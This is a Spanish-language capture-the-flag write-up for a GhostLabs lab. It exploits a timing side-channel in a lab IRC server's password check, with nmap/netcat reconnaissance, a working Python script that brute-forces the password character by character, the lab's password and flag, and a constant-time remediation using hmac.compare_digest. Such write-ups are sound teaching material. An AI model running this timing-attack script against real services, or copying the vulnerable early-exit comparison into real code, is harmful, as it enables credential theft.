# GhostLabs — TIMING ATTACK :: Write-up

> ⚠️ SPOILER — Lee esto solo después de intentar resolver el lab.

---

## Objetivo

Explotar una vulnerabilidad de timing en la autenticación de un servidor IRC para descubrir la contraseña carácter a carácter y obtener la flag.

---

## Información del lab

| Campo       | Valor                                          |
|-------------|------------------------------------------------|
| Dificultad  | Media (3 pts)                                  |
| Servicios   | IRC/TCP (puerto 7000)                          |
| Acceso      | Sin credenciales previas                       |
| Vectores    | Timing attack → descubrir contraseña → FLAG    |
| Herramientas | nmap, nc, Python3 (socket, time)              |

---

## ¿Qué es un timing attack?

Un **timing attack** es un ataque de canal lateral (side-channel attack) que explota las diferencias en el tiempo de ejecución de un programa para extraer información secreta.

El escenario clásico ocurre en comparaciones de contraseñas implementadas con un bucle que sale en cuanto encuentra el primer carácter incorrecto:

```python
# Código VULNERABLE
def check(attempt, secret):
    for a, b in zip(attempt, secret):
        if a != b:
            return False   # Sale inmediatamente al primer error
    return attempt == secret
```

**Por qué filtra información**: si la contraseña es `secret` y pruebas `xecret`, el bucle compara `x` vs `s`, falla en el primer carácter y sale inmediatamente. Si pruebas `secret`, el bucle compara los 6 caracteres antes de decidir → tarda más tiempo.

En este lab la diferencia está amplificada artificialmente (0.5s) para que sea claramente medible, pero el principio es idéntico al de vulnerabilidades reales como:
- Lucky13 (TLS MAC timing)
- Timing leaks en comparaciones de tokens HMAC
- Early-exit en bcrypt

---

## Flujo de ataque

```
nmap → descubrir IRC (7000)
  ↓
nc <LAB_IP> 7000 → banner + comandos disponibles
  ↓
AUTH a → ~0.5s → FAILED  (carácter incorrecto)
AUTH s → ~0ms  → FAILED  (carácter correcto, prefijo válido)
  ↓
Entender la mecánica → escribir script de timing attack
  ↓
Script descubre: s → s1 → s1d → ... → s1d3ch4n
  ↓
AUTH s1d3ch4n → SUCCESS
FLAG → GhostLabs{t1m1ng_1s_3v3ryth1ng}
```

---

## Paso 1 — Reconocimiento

```bash
nmap -sV -p 7000 <LAB_IP>
```

```
PORT     STATE SERVICE VERSION
7000/tcp open  irc     GhostLabs IRC 2.11.2p1
```

---

## Paso 2 — Exploración manual del servicio

Conectamos con netcat:

```bash
nc <LAB_IP> 7000
```

El servidor responde con un banner IRC:

```
:ghostlabs.irc 001 guest :Welcome to GhostLabs IRC Network
:ghostlabs.irc 002 guest :Your host is ghostlabs.irc, running version 2.11.2p1
:ghostlabs.irc NOTICE AUTH :*** This channel requires authentication
:ghostlabs.irc NOTICE INFO :Commands: AUTH <password>, FLAG, QUIT
```

Probamos comandos básicos:

```
FLAG
:ghostlabs.irc NOTICE FLAG :*** Not authenticated. Use AUTH <password> first.

AUTH test
:ghostlabs.irc NOTICE AUTH :*** Authentication failed
```

---

## Paso 3 — Entendiendo la vulnerabilidad de timing

### La comparación vulnerable

El servidor compara la contraseña **carácter a carácter** y aplica un delay de 0.5s en cuanto encuentra un carácter incorrecto:

```
Intento   Proceso en el servidor                  Tiempo respuesta
─────────────────────────────────────────────────────────────────
AUTH a    compara 'a' vs 's' → ERROR → sleep(0.5)   ~0.5s
AUTH s    compara 's' vs 's' → OK
          len("s") ≠ len(secret) → FAILED sin sleep  ~0ms
AUTH sa   compara 's' vs 's' → OK
          compara 'a' vs '1' → ERROR → sleep(0.5)    ~0.5s
AUTH s1   compara 's' vs 's' → OK
          compara '1' vs '1' → OK
          len("s1") ≠ len(secret) → FAILED sin sleep ~0ms
```

**Regla**: respuesta rápida (~0ms) → todos los caracteres probados son correctos. Respuesta lenta (~0.5s) → hay un carácter incorrecto.

### Verificación manual con Python

```python
import socket, time

def try_auth(host, port, password):
    with socket.socket() as s:
        s.connect((host, port))
        s.recv(1024)                          # descartar banner
        s.sendall(f"AUTH {password}\r\n".encode())
        t0 = time.time()
        s.recv(1024)
        return time.time() - t0

# Probar el primer carácter
print(try_auth("<LAB_IP>", 7000, "a"))   # → ~0.50s  (incorrecto)
print(try_auth("<LAB_IP>", 7000, "s"))   # → ~0.001s (correcto)
```

---

## Paso 4 — Script de timing attack

Con la mecánica clara, automatizamos el proceso para los 8 caracteres del charset `a-z0-9`:

```python
#!/usr/bin/env python3
import socket, time

HOST      = "<LAB_IP>"
PORT      = 7000
CHARSET   = "abcdefghijklmnopqrstuvwxyz0123456789"
THRESHOLD = 0.25   # umbral: < 0.25s = carácter correcto

def try_auth(password):
    with socket.socket() as s:
        s.connect((HOST, PORT))
        s.recv(1024)                        # descartar banner
        s.sendall(f"AUTH {password}\r\n".encode())
        t0 = time.time()
        s.recv(1024)
        return time.time() - t0

def attack():
    known = ""
    while len(known) < 8:
        print(f"[*] Posición {len(known)+1}/8 ...")
        for c in CHARSET:
            elapsed = try_auth(known + c)
            if elapsed < THRESHOLD:
                known += c
                print(f"[+] '{c}' correcto  →  password hasta ahora: '{known}'")
                break
    return known

password = attack()
print(f"\n[+] Contraseña encontrada: {password}")

# Obtener la flag
with socket.socket() as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.sendall(f"AUTH {password}\r\n".encode())
    print(s.recv(1024).decode().strip())
    s.sendall(b"FLAG\r\n")
    print(s.recv(1024).decode().strip())
```

### Desglose del script línea a línea

| Fragmento | Explicación |
|-----------|-------------|
| `CHARSET` | Conjunto de caracteres a probar — lowercase + dígitos |
| `THRESHOLD = 0.25` | Si la respuesta tarda menos de 0.25s → carácter correcto. En Docker local el RTT base es <5ms, con 0.5s de delay hay margen amplio |
| `s.recv(1024)` (banner) | Descarta el banner IRC antes de medir — si no, el tiempo incluiría la recepción del banner |
| `t0 = time.time()` antes de `sendall` | Mide desde el envío de la solicitud |
| `s.recv(1024)` (respuesta) | Bloquea hasta recibir la respuesta; en este punto medimos el tiempo total |
| `if elapsed < THRESHOLD` | Detecta respuesta rápida = carácter correcto en esa posición |
| `known += c` + `break` | Añade el carácter confirmado y pasa a la siguiente posición |

### Output esperado

```
[*] Posición 1/8 ...
[+] 's' correcto  →  password hasta ahora: 's'
[*] Posición 2/8 ...
[+] '1' correcto  →  password hasta ahora: 's1'
[*] Posición 3/8 ...
[+] 'd' correcto  →  password hasta ahora: 's1d'
...
[+] Contraseña encontrada: s1d3ch4n

:ghostlabs.irc NOTICE AUTH :*** Authentication successful
:ghostlabs.irc NOTICE FLAG :GhostLabs{t1m1ng_1s_3v3ryth1ng}
```

---

## Paso 5 — Obtener la flag

Con la contraseña descubierta (`s1d3ch4n`) nos autenticamos y pedimos la flag:

```bash
nc <LAB_IP> 7000
AUTH s1d3ch4n
# :ghostlabs.irc NOTICE AUTH :*** Authentication successful
FLAG
# :ghostlabs.irc NOTICE FLAG :GhostLabs{t1m1ng_1s_3v3ryth1ng}
```

---

## Remediación

### El problema: comparación en tiempo NO constante

```python
# VULNERABLE — sale al primer error (tiempo variable)
def check_bad(attempt, secret):
    for a, b in zip(attempt, secret):
        if a != b:
            return False
    return attempt == secret
```

### La solución: `hmac.compare_digest()`

Python incluye una función de comparación en **tiempo constante** que siempre compara todos los bytes independientemente de dónde esté el primer error:

```python
import hmac

# SEGURO — tiempo constante, no filtra información
def check_good(attempt, secret):
    return hmac.compare_digest(attempt.encode(), secret.encode())
```

`hmac.compare_digest()` usa XOR acumulativo sobre todos los bytes — el resultado es correcto pero el tiempo de ejecución no varía con el número de caracteres coincidentes.

---

## Recursos

- [Wikipedia — Timing attack](https://en.wikipedia.org/wiki/Timing_attack)
- [Python docs — hmac.compare_digest](https://docs.python.org/3/library/hmac.html#hmac.compare_digest)
- [Lucky13 attack (TLS timing)](https://www.isg.rhul.ac.uk/tls/Lucky13.html)

---

*GhostLabs — red team operations :: offensive security*
*www.unfantasmaenelsistema.com*
